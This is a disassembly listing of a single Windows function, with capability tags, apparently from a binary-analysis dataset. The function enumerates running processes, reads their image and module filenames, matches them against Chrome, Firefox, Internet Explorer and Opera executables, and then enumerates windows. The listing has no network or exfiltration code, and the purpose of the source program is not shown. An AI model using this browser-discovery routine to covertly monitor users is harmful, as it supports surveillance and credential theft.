Function at 0x4380dc
Capabilities:
Enumerate gui resources
Enumerate process modules
Get process image filename

Disassembly:
push ebp
lea ebp, [esp - 0x488]
sub esp, 0x488
push 0xffffffffffffffff
push 0x463dad
mov eax, dword fs:[0]
push eax
mov eax, 0x1080
call fcn.0044b870
mov eax, dword [0x47dad4]
xor eax, ebp
mov dword [ebp + 0x484], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 0x490]
lea eax, [ebp - 0x2c]
push eax
push 0x1000
lea eax, [ebp - 0x108c]
push eax
mov dword [ebp - 0x14], esi
call sub.PSAPI.DLL_EnumProcesses
xor ebx, ebx
test eax, eax
je 0x4383a3
mov edi, dword [ebp - 0x2c]
shr edi, 2
mov dword [ebp - 0x18], edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10], ebx
cmp edi, ebx
jbe 0x4383a3
mov esi, dword [ebp - 0x10]
lea esi, [ebp + esi*4 - 0x108c]
mov eax, dword [esi]
cmp dword [ebp - 0x30], eax
je 0x438394
push eax
push ebx
push 0x100411
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
cmp edi, ebx
je 0x438391
push 0x104
lea eax, [ebp + 0x27c]
push eax
push edi
call sub.PSAPI.DLL_GetProcessImageFileNameW
lea ecx, [ebp]
call fcn.004373b0
lea ecx, [ebp - 0x54]
mov dword [ebp - 4], ebx
call fcn.004356fb
lea eax, [ebp + 0x27c]
push eax
lea eax, [ebp - 0x70]
push eax
mov byte [ebp - 4], 1
call fcn.0041bc26
push eax
lea eax, [ebp - 0x8c]
push eax
mov byte [ebp - 4], 2
call fcn.0041c7c4
add esp, 0x10
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp + 0x54]
mov byte [ebp - 4], 3
call fcn.00408577
push ebx
push 1
lea ecx, [ebp - 0x8c]
call fcn.00407efb
push ebx
push 1
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 1
call fcn.00407efb
mov eax, dword [esi]
push str.chrome.exe
lea ecx, [ebp + 0x54]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], edi
call fcn.00407c18
test eax, eax
jne 0x438236
push str.Chrome
lea ecx, [ebp + 0x38]
call fcn.0040877d
mov dword [ebp + 0x70], 4
jmp 0x4382a5
push str.firefox.exe
lea ecx, [ebp + 0x54]
call fcn.00407c18
test eax, eax
jne 0x43825d
push str.Firefox
lea ecx, [ebp + 0x38]
call fcn.0040877d
mov dword [ebp + 0x70], 1
jmp 0x4382a5
push str.iexplore.exe
lea ecx, [ebp + 0x54]
call fcn.00407c18
test eax, eax
jne 0x438280
push str.Internet_Explorer
lea ecx, [ebp + 0x38]
call fcn.0040877d
mov dword [ebp + 0x70], ebx
jmp 0x4382a5
push str.opera.exe
lea ecx, [ebp + 0x54]
call fcn.00407c18
test eax, eax
jne 0x4382a5
push str.Opera
lea ecx, [ebp + 0x38]
call fcn.0040877d
mov dword [ebp + 0x70], 2
cmp dword [ebp + 0x4c], ebx
jne 0x4382b6
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x438374
cmp dword [ebp + 0x70], 4
jne 0x4382cf
call fcn.00436b50
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp]
call fcn.00408577
jmp 0x43830d
push 0x104
lea eax, [ebp + 0x74]
push eax
push ebx
push edi
call sub.PSAPI.DLL_GetModuleFileNameExW
lea eax, [ebp + 0x74]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.0041bc26
pop ecx
pop ecx
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp]
mov byte [ebp - 4], 4
call fcn.00408577
push ebx
push 1
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 1
call fcn.00407efb
mov esi, dword [ebp - 0x14]
mov eax, dword [esi + 0x14]
mov eax, dword [eax]
push esi
push eax
lea ecx, [ebp - 0x20]
call fcn.004143c9
jmp 0x438340
lea ecx, [ebp - 0x20]
call fcn.0042e84b
lea ecx, [ebp]
push ecx
mov ecx, eax
call fcn.00407bf4
test eax, eax
je 0x438374
lea ecx, [ebp - 0x20]
call fcn.0043500a
mov eax, dword [esi + 0x14]
push esi
push eax
lea ecx, [ebp - 0x28]
call fcn.004143c9
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x20]
call fcn.00434dd7
test al, al
je 0x438321
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp + 0x1c]
call fcn.00437a7a
lea eax, [ebp]
push eax
mov ecx, esi
call fcn.00438007
lea ecx, [ebp - 0x4c]
call fcn.004226a5
push dword [ebp - 0x4c]
call fcn.0044849c
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp]
call fcn.004373ea
mov edi, dword [ebp - 0x18]
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jb 0x438161
mov esi, dword [ebp - 0x14]
cmp dword [esi + 0x18], ebx
je 0x4383b4
push esi
push 0x43657a
call dword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x484]
xor ecx, ebp
call fcn.0044a6c9
add ebp, 0x488
leave
ret